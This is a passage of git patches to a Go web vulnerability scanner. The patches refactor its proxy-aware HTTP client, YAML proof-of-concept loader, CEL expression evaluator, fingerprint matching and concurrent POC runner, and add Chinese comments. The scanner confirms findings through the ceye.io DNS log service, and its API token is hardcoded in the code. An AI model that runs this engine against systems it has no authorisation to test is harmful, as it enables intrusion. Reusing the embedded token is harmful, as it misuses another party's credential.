errors.New("Failed type assertion to DialContext") + return errors.New("无法转换为DialContext类型") } } else if DownProxy != "" { + // 处理其他代理配置 if DownProxy == "1" { DownProxy = "http://127.0.0.1:8080" } else if DownProxy == "2" { @@ -74,9 +85,13 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err } else if !strings.Contains(DownProxy, "://") { DownProxy = "http://127.0.0.1:" + DownProxy } + + // 验证代理类型 if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { - return errors.New("no support this proxy") + return errors.New("不支持的代理类型") } + + // 解析代理URL u, err := url.Parse(DownProxy) if err != nil { return err @@ -84,81 +99,100 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err tr.Proxy = http.ProxyURL(u) } + // 创建标准HTTP客户端 Client = &http.Client{ Transport: tr, Timeout: Timeout, } + + // 创建不跟随重定向的HTTP客户端 ClientNoRedirect = &http.Client{ Transport: tr, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } + return nil } +// Poc 定义漏洞检测配置结构 type Poc struct { - Name string `yaml:"name"` - Set StrMap `yaml:"set"` - Sets ListMap `yaml:"sets"` - Rules []Rules `yaml:"rules"` - Groups RuleMap `yaml:"groups"` - Detail Detail `yaml:"detail"` + Name string `yaml:"name"` // POC名称 + Set StrMap `yaml:"set"` // 单值配置映射 + Sets ListMap `yaml:"sets"` // 列表值配置映射 + Rules []Rules `yaml:"rules"` // 检测规则列表 + Groups RuleMap `yaml:"groups"` // 规则组映射 + Detail Detail `yaml:"detail"` // 漏洞详情 } +// MapSlice 用于解析YAML的通用映射类型 type MapSlice = yaml.MapSlice -type StrMap []StrItem -type ListMap []ListItem -type RuleMap []RuleItem +// 自定义映射类型 +type ( + StrMap []StrItem // 字符串键值对映射 + ListMap []ListItem // 字符串键列表值映射 + RuleMap []RuleItem // 字符串键规则列表映射 +) -type StrItem struct { - Key, Value string -} +// 映射项结构定义 +type ( + // StrItem 字符串键值对 + StrItem struct { + Key string // 键名 + Value string // 值 + } -type ListItem struct { - Key string - Value []string -} + // ListItem 字符串键列表值对 + ListItem struct { + Key string // 键名 + Value []string // 值列表 + } -type RuleItem struct { - Key string - Value []Rules -} + // RuleItem 字符串键规则列表对 + RuleItem struct { + Key string // 键名 + Value []Rules // 规则列表 + } +) +// UnmarshalYAML 实现StrMap的YAML解析接口 func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 临时使用MapSlice存储解析结果 var tmp yaml.MapSlice if err := unmarshal(&tmp); err != nil { return err } + + // 转换为StrMap结构 for _, one := range tmp { key, value := one.Key.(string), one.Value.(string) *r = append(*r, StrItem{key, value}) } + return nil } -//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error { -// var tmp yaml.MapSlice -// if err := unmarshal(&tmp); err != nil { -// return err -// } -// //for _,one := range tmp{ -// // key,value := one.Key.(string),one.Value.(string) -// // *r = append(*r,StrItem{key,value}) -// //} -// return nil -//} - +// UnmarshalYAML 实现RuleMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 使用MapSlice保持键的顺序 var tmp1 yaml.MapSlice if err := unmarshal(&tmp1); err != nil { return err } + + // 解析规则内容 var tmp = make(map[string][]Rules) if err := unmarshal(&tmp); err != nil { return err } + // 按顺序转换为RuleMap结构 for _, one := range tmp1 { key := one.Key.(string) value := tmp[key] @@ -167,14 +201,24 @@ func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { return nil } +// UnmarshalYAML 实现ListMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 解析YAML映射 var tmp yaml.MapSlice if err := unmarshal(&tmp); err != nil { return err } + + // 转换为ListMap结构 for _, one := range tmp { key := one.Key.(string) var value []string + // 将接口类型转换为字符串 for _, val := range one.Value.([]interface{}) { v := fmt.Sprintf("%v", val) value = append(value, v) @@ -184,58 +228,68 @@ func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { return nil } +// Rules 定义POC检测规则结构 type Rules struct { - Method string `yaml:"method"` - Path string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Search string `yaml:"search"` - FollowRedirects bool `yaml:"follow_redirects"` - Expression string `yaml:"expression"` - Continue bool `yaml:"continue"` + Method string `yaml:"method"` // HTTP请求方法 + Path string `yaml:"path"` // 请求路径 + Headers map[string]string `yaml:"headers"` // 请求头 + Body string `yaml:"body"` // 请求体 + Search string `yaml:"search"` // 搜索模式 + FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向 + Expression string `yaml:"expression"` // 匹配表达式 + Continue bool `yaml:"continue"` // 是否继续执行 } +// Detail 定义POC详情结构 type Detail struct { - Author string `yaml:"author"` - Links []string `yaml:"links"` - Description string `yaml:"description"` - Version string `yaml:"version"` + Author string `yaml:"author"` // POC作者 + Links []string `yaml:"links"` // 相关链接 + Description string `yaml:"description"` // POC描述 + Version string `yaml:"version"` // POC版本 } +// LoadMultiPoc 加载多个POC文件 func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { var pocs []*Poc + // 遍历选中的POC文件 for _, f := range SelectPoc(Pocs, pocname) { if p, err := LoadPoc(f, Pocs); err == nil { pocs = append(pocs, p) } else { - fmt.Println("[-] load poc ", f, " error:", err) + fmt.Printf("[-] POC加载失败 %s: %v\n", f, err) } } return pocs } +// LoadPoc 从内嵌文件系统加载单个POC func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { p := &Poc{} + // 读取POC文件内容 yamlFile, err := Pocs.ReadFile("pocs/" + fileName) - if err != nil { - fmt.Printf("[-] load poc %s error1: %v\n", fileName, err) + fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) return nil, err } + + // 解析YAML内容 err = yaml.Unmarshal(yamlFile, p) if err != nil { - fmt.Printf("[-] load poc %s error2: %v\n", fileName, err) + fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) return nil, err } return p, err } +// SelectPoc 根据名称关键字选择POC文件 func SelectPoc(Pocs embed.FS, pocname string) []string { entries, err := Pocs.ReadDir("pocs") if err != nil { - fmt.Println(err) + fmt.Printf("[-] 读取POC目录失败: %v\n", err) } + var foundFiles []string + // 查找匹配关键字的POC文件 for _, entry := range entries { if strings.Contains(entry.Name(), pocname) { foundFiles = append(foundFiles, entry.Name()) @@ -244,16 +298,20 @@ func SelectPoc(Pocs embed.FS, pocname string) []string { return foundFiles } +// LoadPocbyPath 从文件系统路径加载POC func LoadPocbyPath(fileName string) (*Poc, error) { p := &Poc{} + // 读取POC文件内容 data, err := os.ReadFile(fileName) if err != nil { - fmt.Printf("[-] load poc %s error3: %v\n", fileName, err) + fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) return nil, err } + + // 解析YAML内容 err = yaml.Unmarshal(data, p) if err != nil { - fmt.Printf("[-] load poc %s error4: %v\n", fileName, err) + fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) return nil, err } return p, err From 4d3ccba255615db6fae67a8f1144263ff9203f62 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:26:30 +0800 Subject: [PATCH 38/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Eval.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Eval.go | 287 +++++++++++++++++++++++++++++--------------- 1 file changed, 191 insertions(+), 96 deletions(-) diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index 0143277..a1cb77b 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -24,68 +24,86 @@ import ( "time" ) +// NewEnv 创建一个新的 CEL 环境 func NewEnv(c *CustomLib) (*cel.Env, error) { return cel.NewEnv(cel.Lib(c)) } +// Evaluate 评估 CEL 表达式 func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { + // 空表达式默认返回 true if expression == "" { return types.Bool(true), nil } - ast, iss := env.Compile(expression) - if iss.Err() != nil { - //fmt.Printf("compile: ", iss.Err()) - return nil, iss.Err() + + // 编译表达式 + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return nil, fmt.Errorf("表达式编译错误: %w", issues.Err()) } - prg, err := env.Program(ast) + // 创建程序 + program, err := env.Program(ast) if err != nil { - //fmt.Printf("Program creation error: %v", err) - return nil, err + return nil, fmt.Errorf("程序创建错误: %w", err) } - out, _, err := prg.Eval(params) + // 执行评估 + result, _, err := program.Eval(params) if err != nil { - //fmt.Printf("Evaluation error: %v", err) - return nil, err + return nil, fmt.Errorf("表达式评估错误: %w", err) } - return out, nil + + return result, nil } +// UrlTypeToString 将 URL 结构体转换为字符串 func UrlTypeToString(u *UrlType) string { - var buf strings.Builder + var builder strings.Builder + + // 处理 scheme 部分 if u.Scheme != "" { - buf.WriteString(u.Scheme) - buf.WriteByte(':') + builder.WriteString(u.Scheme) + builder.WriteByte(':') } + + // 处理 host 部分 if u.Scheme != "" || u.Host != "" { if u.Host != "" || u.Path != "" { - buf.WriteString("//") + builder.WriteString("//") } - if h := u.Host; h != "" { - buf.WriteString(u.Host) + if host := u.Host; host != "" { + builder.WriteString(host) } } + + // 处理 path 部分 path := u.Path if path != "" && path[0] != '/' && u.Host != "" { - buf.WriteByte('/') + builder.WriteByte('/') } - if buf.Len() == 0 { + + // 处理相对路径 + if builder.Len() == 0 { if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { - buf.WriteString("./") + builder.WriteString("./") } } - buf.WriteString(path) + builder.WriteString(path) + // 处理查询参数 if u.Query != "" { - buf.WriteByte('?') - buf.WriteString(u.Query) + builder.WriteByte('?') + builder.WriteString(u.Query) } + + // 处理片段标识符 if u.Fragment != "" { - buf.WriteByte('#') - buf.WriteString(u.Fragment) + builder.WriteByte('#') + builder.WriteString(u.Fragment) } - return buf.String() + + return builder.String() } type CustomLib struct { @@ -519,179 +537,256 @@ func NewEnvOption() CustomLib { return c } -// 声明环境中的变量类型和函数 +// CompileOptions 返回环境编译选项 func (c *CustomLib) CompileOptions() []cel.EnvOption { return c.envOptions } +// ProgramOptions 返回程序运行选项 func (c *CustomLib) ProgramOptions() []cel.ProgramOption { return c.programOptions } +// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明 func (c *CustomLib) UpdateCompileOptions(args StrMap) { for _, item := range args { - k, v := item.Key, item.Value - // 在执行之前是不知道变量的类型的,所以统一声明为字符型 - // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string - var d *exprpb.Decl - if strings.HasPrefix(v, "randomInt") { - d = decls.NewIdent(k, decls.Int, nil) - } else if strings.HasPrefix(v, "newReverse") { - d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil) - } else { - d = decls.NewIdent(k, decls.String, nil) + key, value := item.Key, item.Value + + // 根据函数前缀确定变量类型 + var declaration *exprpb.Decl + switch { + case strings.HasPrefix(value, "randomInt"): + // randomInt 函数返回整型 + declaration = decls.NewIdent(key, decls.Int, nil) + case strings.HasPrefix(value, "newReverse"): + // newReverse 函数返回 Reverse 对象 + declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil) + default: + // 默认声明为字符串类型 + declaration = decls.NewIdent(key, decls.String, nil) } - c.envOptions = append(c.envOptions, cel.Declarations(d)) + + c.envOptions = append(c.envOptions, cel.Declarations(declaration)) } } +// 初始化随机数生成器 var randSource = rand.New(rand.NewSource(time.Now().Unix())) +// randomLowercase 生成指定长度的小写字母随机字符串 func randomLowercase(n int) string { - lowercase := "abcdefghijklmnopqrstuvwxyz" + const lowercase = "abcdefghijklmnopqrstuvwxyz" return RandomStr(randSource, lowercase, n) } +// randomUppercase 生成指定长度的大写字母随机字符串 func randomUppercase(n int) string { - uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" return RandomStr(randSource, uppercase, n) } +// randomString 生成指定长度的随机字符串(包含大小写字母和数字) func randomString(n int) string { - charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" return RandomStr(randSource, charset, n) } +// reverseCheck 检查 DNS 记录是否存在 func reverseCheck(r *Reverse, timeout int64) bool { + // 检查必要条件 if ceyeApi == "" || r.Domain == "" || !Common.DnsLog { return false } + + // 等待指定时间 time.Sleep(time.Second * time.Duration(timeout)) + + // 提取子域名 sub := strings.Split(r.Domain, ".")[0] - urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) - //fmt.Println(urlStr) - req, _ := http.NewRequest("GET", urlStr, nil) + + // 构造 API 请求 URL + apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", + ceyeApi, sub) + + // 创建并发送请求 + req, _ := http.NewRequest("GET", apiURL, nil) resp, err := DoRequest(req, false) if err != nil { return false } - if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空 - fmt.Println(urlStr) + // 检查响应内容 + hasData := !bytes.Contains(resp.Body, []byte(`"data": []`)) + isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`)) + + if hasData && isOK { + fmt.Println(apiURL) return true } return false } +// RandomStr 生成指定长度的随机字符串 func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { const ( - letterIdxBits = 6 // 6 bits to represent a letter index - letterIdxMask = 1<= 0; { + // 当可用的随机位用完时,重新获取随机数 if remain == 0 { cache, remain = randSource.Int63(), letterIdxMax } + + // 获取字符集中的随机索引 if idx := int(cache & letterIdxMask); idx < len(letterBytes) { randBytes[i] = letterBytes[idx] i-- } + + // 右移已使用的位,更新计数器 cache >>= letterIdxBits remain-- } + return string(randBytes) } +// DoRequest 执行 HTTP 请求 func DoRequest(req *http.Request, redirect bool) (*Response, error) { - if req.Body == nil || req.Body == http.NoBody { - } else { + // 处理请求头 + if req.Body != nil && req.Body != http.NoBody { + // 设置 Content-Length req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) + + // 如果未指定 Content-Type,设置默认值 if req.Header.Get("Content-Type") == "" { req.Header.Set("Content-Type", "application/x-www-form-urlencoded") } } - var oResp *http.Response - var err error + + // 执行请求 + var ( + oResp *http.Response + err error + ) + if redirect { oResp, err = Client.Do(req) } else { oResp, err = ClientNoRedirect.Do(req) } + if err != nil { - //fmt.Println("[-]DoRequest error: ",err) - return nil, err + return nil, fmt.Errorf("请求执行失败: %w", err) } defer oResp.Body.Close() + + // 解析响应 resp, err := ParseResponse(oResp) if err != nil { - Common.LogError("[-] ParseResponse error: " + err.Error()) - //return nil, err + Common.LogError("响应解析失败: " + err.Error()) } + return resp, err } +// ParseUrl 解析 URL 并转换为自定义 URL 类型 func ParseUrl(u *url.URL) *UrlType { - nu := &UrlType{} - nu.Scheme = u.Scheme - nu.Domain = u.Hostname() - nu.Host = u.Host - nu.Port = u.Port() - nu.Path = u.EscapedPath() - nu.Query = u.RawQuery - nu.Fragment = u.Fragment - return nu + return &UrlType{ + Scheme: u.Scheme, + Domain: u.Hostname(), + Host: u.Host, + Port: u.Port(), + Path: u.EscapedPath(), + Query: u.RawQuery, + Fragment: u.Fragment, + } } +// ParseRequest 将标准 HTTP 请求转换为自定义请求对象 func ParseRequest(oReq *http.Request) (*Request, error) { - req := &Request{} - req.Method = oReq.Method - req.Url = ParseUrl(oReq.URL) - header := make(map[string]string) - for k := range oReq.Header { - header[k] = oReq.Header.Get(k) + req := &Request{ + Method: oReq.Method, + Url: ParseUrl(oReq.URL), + Headers: make(map[string]string), + ContentType: oReq.Header.Get("Content-Type"), } - req.Headers = header - req.ContentType = oReq.Header.Get("Content-Type") - if oReq.Body == nil || oReq.Body == http.NoBody { - } else { + + // 复制请求头 + for k := range oReq.Header { + req.Headers[k] = oReq.Header.Get(k) + } + + // 处理请求体 + if oReq.Body != nil && oReq.Body != http.NoBody { data, err := io.ReadAll(oReq.Body) if err != nil { - return nil, err + return nil, fmt.Errorf("读取请求体失败: %w", err) } req.Body = data + // 重新设置请求体,允许后续重复读取 oReq.Body = io.NopCloser(bytes.NewBuffer(data)) } + return req, nil } +// ParseResponse 将标准 HTTP 响应转换为自定义响应对象 func ParseResponse(oResp *http.Response) (*Response, error) { - var resp Response - header := make(map[string]string) - resp.Status = int32(oResp.StatusCode) - resp.Url = ParseUrl(oResp.Request.URL) - for k := range oResp.Header { - header[k] = strings.Join(oResp.Header.Values(k), ";") + resp := Response{ + Status: int32(oResp.StatusCode), + Url: ParseUrl(oResp.Request.URL), + Headers: make(map[string]string), + ContentType: oResp.Header.Get("Content-Type"), + } + + // 复制响应头,合并多值头部为分号分隔的字符串 + for k := range oResp.Header { + resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";") + } + + // 读取并解析响应体 + body, err := getRespBody(oResp) + if err != nil { + return nil, fmt.Errorf("处理响应体失败: %w", err) } - resp.Headers = header - resp.ContentType = oResp.Header.Get("Content-Type") - body, _ := getRespBody(oResp) resp.Body = body + return &resp, nil } -func getRespBody(oResp *http.Response) (body []byte, err error) { - body, err = io.ReadAll(oResp.Body) +// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩 +func getRespBody(oResp *http.Response) ([]byte, error) { + // 读取原始响应体 + body, err := io.ReadAll(oResp.Body) + if err != nil && err != io.EOF { + return nil, err + } + + // 处理 gzip 压缩 if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") { - reader, err1 := gzip.NewReader(bytes.NewReader(body)) - if err1 == nil { - body, err = io.ReadAll(reader) + reader, err := gzip.NewReader(bytes.NewReader(body)) + if err != nil { + return body, nil // 如果解压失败,返回原始数据 } + defer reader.Close() + + decompressed, err := io.ReadAll(reader) + if err != nil && err != io.EOF { + return nil, err + } + return decompressed, nil } - if err == io.EOF { - err = nil - } - return + + return body, nil } From 6d499dae10b5f3a5642d5d4298e1dadbaca0c798 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:49:45 +0800 Subject: [PATCH 39/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96InfoScan.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/InfoScan.go | 87 ++++++++++++++++++++++++++++++--------------- 1 file changed, 58 insertions(+), 29 deletions(-) diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 0a6dc18..8ee936d 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -8,62 +8,91 @@ import ( "regexp" ) +// CheckDatas 存储HTTP响应的检查数据 type CheckDatas struct { - Body []byte - Headers string + Body []byte // 响应体 + Headers string // 响应头 } +// InfoCheck 检查URL的指纹信息 func InfoCheck(Url string, CheckData *[]CheckDatas) []string { - var matched bool - var infoname []string + var matchedInfos []string + // 遍历检查数据 for _, data := range *CheckData { + // 规则匹配检查 for _, rule := range info.RuleDatas { - if rule.Type == "code" { - matched, _ = regexp.MatchString(rule.Rule, string(data.Body)) - } else { - matched, _ = regexp.MatchString(rule.Rule, data.Headers) + var matched bool + var err error + + // 根据规则类型选择匹配内容 + switch rule.Type { + case "code": + matched, err = regexp.MatchString(rule.Rule, string(data.Body)) + default: + matched, err = regexp.MatchString(rule.Rule, data.Headers) } - if matched == true { - infoname = append(infoname, rule.Name) + + // 处理匹配错误 + if err != nil { + Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err)) + continue + } + + // 添加匹配成功的规则名 + if matched { + matchedInfos = append(matchedInfos, rule.Name) } } - //flag, name := CalcMd5(data.Body) - //if flag == true { - // infoname = append(infoname, name) - //} + // MD5匹配检查暂时注释 + /* + if flag, name := CalcMd5(data.Body); flag { + matchedInfos = append(matchedInfos, name) + } + */ } - infoname = removeDuplicateElement(infoname) + // 去重处理 + matchedInfos = removeDuplicateElement(matchedInfos) - if len(infoname) > 0 { - result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname) + // 输出结果 + if len(matchedInfos) > 0 { + result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) Common.LogSuccess(result) - return infoname + return matchedInfos } + return []string{""} } +// CalcMd5 计算内容的MD5并与指纹库比对 func CalcMd5(Body []byte) (bool, string) { - has := md5.Sum(Body) - md5str := fmt.Sprintf("%x", has) - for _, md5data := range info.Md5Datas { - if md5str == md5data.Md5Str { - return true, md5data.Name + contentMd5 := fmt.Sprintf("%x", md5.Sum(Body)) + + // 比对MD5指纹库 + for _, md5Info := range info.Md5Datas { + if contentMd5 == md5Info.Md5Str { + return true, md5Info.Name } } + return false, "" } -func removeDuplicateElement(languages []string) []string { - result := make([]string, 0, len(languages)) - temp := map[string]struct{}{} - for _, item := range languages { - if _, ok := temp[item]; !ok { - temp[item] = struct{}{} +// removeDuplicateElement 移除切片中的重复元素 +func removeDuplicateElement(items []string) []string { + // 预分配空间 + result := make([]string, 0, len(items)) + seen := make(map[string]struct{}, len(items)) + + // 使用map去重 + for _, item := range items { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} result = append(result, item) } } + return result } From 9296ad08469d46971342609ec25d66f4e17a47ed Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:49:52 +0800 Subject: [PATCH 40/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96WebScan.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/WebScan.go | 76 ++++++++++++++++++++++++++++------------------ 1 file changed, 47 insertions(+), 29 deletions(-) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 15025bb..28ddba7 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -18,15 +18,22 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc +// WebScan 执行Web漏洞扫描 func WebScan(info *Config.HostInfo) { + // 确保POC只初始化一次 once.Do(initpoc) - var pocinfo = Common.Pocinfo - buf := strings.Split(info.Url, "/") - pocinfo.Target = strings.Join(buf[:3], "/") + // 构建扫描信息 + var pocinfo = Common.Pocinfo + urlParts := strings.Split(info.Url, "/") + pocinfo.Target = strings.Join(urlParts[:3], "/") + + // 执行扫描 if pocinfo.PocName != "" { + // 指定POC扫描 Execute(pocinfo) } else { + // 根据指纹信息选择POC扫描 for _, infostr := range info.Infostr { pocinfo.PocName = lib.CheckInfoPoc(infostr) Execute(pocinfo) @@ -34,69 +41,80 @@ func WebScan(info *Config.HostInfo) { } } +// Execute 执行具体的POC检测 func Execute(PocInfo Common.PocInfo) { + // 创建基础HTTP请求 req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { - errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err)) return } + + // 设置请求头 req.Header.Set("User-agent", Common.UserAgent) req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if Common.Cookie != "" { req.Header.Set("Cookie", Common.Cookie) } + + // 根据名称筛选POC并执行 pocs := filterPoc(PocInfo.PocName) lib.CheckMultiPoc(req, pocs, Common.PocNum) } +// initpoc 初始化POC加载 func initpoc() { if Common.PocPath == "" { + // 从嵌入的POC目录加载 entries, err := Pocs.ReadDir("pocs") if err != nil { - fmt.Printf("[-] init poc error: %v", err) + Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err)) return } - for _, one := range entries { - path := one.Name() - if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { - if poc, _ := lib.LoadPoc(path, Pocs); poc != nil { + + // 加载YAML格式的POC文件 + for _, entry := range entries { + filename := entry.Name() + if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") { + if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil { AllPocs = append(AllPocs, poc) } } } } else { - fmt.Println("[+] load poc from " + Common.PocPath) - err := filepath.Walk(Common.PocPath, - func(path string, info os.FileInfo, err error) error { - if err != nil || info == nil { - return err + // 从指定目录加载POC + Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath)) + err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error { + if err != nil || info == nil { + return err + } + + if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) { + if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil { + AllPocs = append(AllPocs, poc) } - if !info.IsDir() { - if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { - poc, _ := lib.LoadPocbyPath(path) - if poc != nil { - AllPocs = append(AllPocs, poc) - } - } - } - return nil - }) + } + return nil + }) + if err != nil { - fmt.Printf("[-] init poc error: %v", err) + Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err)) } } } -func filterPoc(pocname string) (pocs []*lib.Poc) { +// filterPoc 根据POC名称筛选 +func filterPoc(pocname string) []*lib.Poc { if pocname == "" { return AllPocs } + + var matchedPocs []*lib.Poc for _, poc := range AllPocs { if strings.Contains(poc.Name, pocname) { - pocs = append(pocs, poc) + matchedPocs = append(matchedPocs, poc) } } - return + return matchedPocs } From 7f62d4a8358c4a565a227b2e2c517b10660d684f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:49:58 +0800 Subject: [PATCH 41/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Check.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Check.go | 641 +++++++++++++++++++++++++++---------------- 1 file changed, 409 insertions(+), 232 deletions(-) diff --git a/WebScan/lib/Check.go b/WebScan/lib/Check.go index be706a4..79f96cd 100644 --- a/WebScan/lib/Check.go +++ b/WebScan/lib/Check.go @@ -15,182 +15,227 @@ import ( "time" ) -var ( - ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" - ceyeDomain = "7wtusr.ceye.io" +// API配置常量 +const ( + ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥 + ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名 ) +// Task 定义单个POC检测任务的结构体 type Task struct { - Req *http.Request - Poc *Poc + Req *http.Request // HTTP请求对象 + Poc *Poc // POC检测脚本 } +// CheckMultiPoc 并发执行多个POC检测 +// 参数说明: +// - req: HTTP请求对象 +// - pocs: POC检测脚本列表 +// - workers: 并发工作协程数量 func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { - tasks := make(chan Task) + if workers <= 0 { + workers = 1 // 确保至少有一个工作协程 + } + + tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞 var wg sync.WaitGroup + + // 启动工作协程池 for i := 0; i < workers; i++ { go func() { for task := range tasks { - isVul, _, name := executePoc(task.Req, task.Poc) - if isVul { - result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) + // 执行POC检测 + isVulnerable, details, vulName := executePoc(task.Req, task.Poc) + + if isVulnerable { + // 格式化输出结果 + result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+ + " 漏洞类型: %s\n"+ + " 漏洞名称: %s\n"+ + " 详细信息: %s", + task.Req.URL, + task.Poc.Name, + vulName, + details) + Common.LogSuccess(result) } wg.Done() } }() } + + // 分发任务 for _, poc := range pocs { - task := Task{ + wg.Add(1) + tasks <- Task{ Req: req, Poc: poc, } - wg.Add(1) - tasks <- task } + + // 等待所有任务完成 wg.Wait() close(tasks) } +// executePoc 执行单个POC检测 func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { - c := NewEnvOption() - c.UpdateCompileOptions(p.Set) + // 初始化环境配置 + config := NewEnvOption() + config.UpdateCompileOptions(p.Set) + + // 处理额外的设置项 if len(p.Sets) > 0 { var setMap StrMap for _, item := range p.Sets { + value := "" if len(item.Value) > 0 { - setMap = append(setMap, StrItem{item.Key, item.Value[0]}) - 